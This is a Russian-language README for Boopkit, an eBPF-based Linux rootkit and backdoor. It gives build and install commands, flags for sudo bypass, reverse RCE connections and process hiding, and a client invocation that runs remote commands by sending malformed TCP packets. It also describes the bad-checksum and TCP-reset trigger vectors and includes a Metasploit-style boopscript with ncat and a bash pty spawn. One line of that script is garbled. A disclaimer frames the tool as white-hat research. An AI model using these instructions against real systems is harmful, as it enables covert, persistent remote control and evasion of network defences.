
Linux eBPF бэкдор через TCP. Запуск обратных оболочек, RCE, при предварительном привилегированном доступе. Less Honkin, More Tonkin.
================================================================
██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██╗████████╗
██╔══██╗██╔═══██╗██╔═══██╗██╔══██╗██║ ██╔╝██║╚══██╔══╝
██████╔╝██║ ██║██║ ██║██████╔╝█████╔╝ ██║ ██║
██╔══██╗██║ ██║██║ ██║██╔═══╝ ██╔═██╗ ██║ ██║
██████╔╝╚██████╔╝╚██████╔╝██║ ██║ ██╗██║ ██║
╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝
Автор: Kris Nóva <[email protected]> Версия 1.4.0
НИ ПРИ КАКИХ ОБСТОЯТЕЛЬСТВАХ ВЛАДЕЛЕЦ АВТОРСКИХ ПРАВ ИЛИ АВТОР
НЕ НЕСУТ ОТВЕТСТВЕННОСТИ ЗА КАКОЙ-ЛИБО ПРЯМОЙ, КОСВЕННЫЙ,
СЛУЧАЙНЫЙ, ОСОБЫЙ, ШТРАФНОЙ ИЛИ КОСВЕННЫЙ УЩЕРБ.
НЕ ПЫТАЙТЕСЬ ИСПОЛЬЗОВАТЬ ИНСТРУМЕНТЫ ДЛЯ НАРУШЕНИЯ ЗАКОНА.
АВТОР НЕ НЕСЁТ ОТВЕТСТВЕННОСТИ ЗА КАКИЕ-ЛИБО НЕЛЕГАЛЬНЫЕ ДЕЙСТВИЯ.
НЕПРАВИЛЬНОЕ ИСПОЛЬЗОВАНИЕ ПРОГРАММНОГО ОБЕСПЕЧЕНИЯ, ИНФОРМАЦИИ ИЛИ ИСХОДНОГО КОДА
МОЖЕТ ПРИВЕСТИ К УГОЛОВНОМУ ПРЕСЛЕДОВАНИЮ.
Используйте на свой страх и риск.
================================================================
Boopkit. Linux руткит и бэкдор. Построен с использованием eBPF.
Использование: boopkit [опции]
Опции: -h, help Показать справку и использование boopkit. -i, interface Имя интерфейса. lo, eth0, wlan0 и т.д. -s, sudo-bypass Обход проверки sudo. Нарушает сокрытие PID. -r, reverse-conn Попытка обратного RCE-подключения, если полезная нагрузка не найдена. -q, quiet Отключить вывод. -x, reject Исходные адреса, с которых отклонять триггеры.
Linux бэкдор, руткит и инструменты обхода eBPF.
Удалённое выполнение команд через сырой TCP.
- Протестировано на ядре Linux 5.16
- Протестировано на ядре Linux 5.17
- Удалённое выполнение кода через TCP (SSH, Nginx, Kubernetes и т.д.)
- Обход сетевого шлюза (некорректные контрольные суммы, TCP сброс)
- Самообфускация во время выполнения (сокрытие процессов через eBPF)
##### Отказ от ответственности
> Это **НЕ** эксплойт! Для работы требуется предварительный привилегированный доступ на сервере!
> Я профессиональный исследователь безопасности. Это инструменты белых шляп, используемые только в исследовательских целях.
> Используйте ответственно. Никогда не используйте это программное обеспечение незаконно.

## Серверная сторона
Загрузите и соберите boopkit.
```bash
wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.3.0.tar.gz
tar -xzf v1.3.0.tar.gz
cd boopkit-1.3.0/
make
sudo make install
Запустите boopkit на переднем плане.
# Отклонить все бупы на localhost и 10.0.0.1
boopkit -x 127.0.0.1 -x 10.0.0.1
Запустите boopkit в фоновом режиме в тихом режиме.
# Опасно! Это может быть ОЧЕНЬ трудно остановить! Запускайте на свой страх и риск!
boopkit -q &
Boopkit теперь запущен и может быть эксплуатирован с помощью клиентской утилиты командной строки boopkit-boop.
Загрузите и соберите boopkit.
wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.2.0.tar.gz
tar -xzf v1.2.0.tar.gz
cd boopkit-1.2.0/
make
sudo make install
Запустите boopkit-boop против сервера.
# ===================
RCE="ls -la"
# ===================
LHOST="127.0.0.1"
LPORT="3535"
RHOST="127.0.0.1"
RPORT="22"
boopkit-boop \
-lhost $LHOST \
-lport $LPORT \
-rhost $RHOST \
-rport $RPORT \
-c "$RCE"
Boopkit будет реагировать на различные события в сети. Оба могут быть запущены с помощью инструмента boopkit-boop.
Формат TCP-заголовка. Взято из RFC 793. Сентябрь 1981 г.
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Порт источника | Порт назначения |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Номер последовательности |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Номер подтверждения |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Смещ.| Резерв |U|A|P|R|S|F| |
| данных| |R|C|S|S|Y|I| Окно |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Контр. сумма | Указатель срочности |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Опции | Заполнитель |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
{ данные }
{ .... }
{ данные }
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Сначала инструмент boopkit-boop отправит на сервер искажённый TCP SYN-пакет с пустой контрольной суммой через сокет SOCK_RAW. Это удалённо запустит boopkit независимо от того, какие TCP-сервисы работают. Это работает на любом Linux-сервере с запущенным boopkit, независимо от состояния TCP-сервисов.
Используйте -p с boopkit-boop, чтобы использовать только этот первый вектор.
⚠️ Некоторое современное сетевое оборудование будет ОТБРАСЫВАТЬ все пакеты с некорректной контрольной суммой, такие как те, что требуются для эксплуатации boopkit с помощью этого вектора!
Затем инструмент boopkit-boop выполнит корректное TCP-рукопожатие с помощью сокета SOCK_STREAM на удалённом TCP-сервисе, таком как SSH, Kubernetes, Nginx и т.д. После завершения первого TCP-рукопожатия boopkit-boop повторит процесс второй раз.
Второе рукопожатие переключит флаг TCP-сброса в пакете, вызывая TCP-сброс на сервере.
Любая из этих тактик достаточна для независимого запуска boopkit. Различное сетевое оборудование и условия выполнения делают ту или иную тактику более жизнеспособной. По умолчанию boopkit попробует обе и отреагирует на обе.
Файл boopscript — это совместимый с Metasploit скрипт, который можно использовать для удалённого запуска бэкдора boopkit после установки boopkit-boop на удалённой Linux-машине.
# boopscript
RHOST="127.0.0.1"
RPORT="22"
LHOST="127.0.0.1"
LPORT="3535"
NCAT="/usr/bin/ncat"
NCATLISTENPORT="3545"
libbpflibxdppython -c "import pty; pty.spawn('/bin/bash')"
Автор выражает благодарность первоначальным авторам за полезные примеры кода! Я многое форкнул для этого проекта!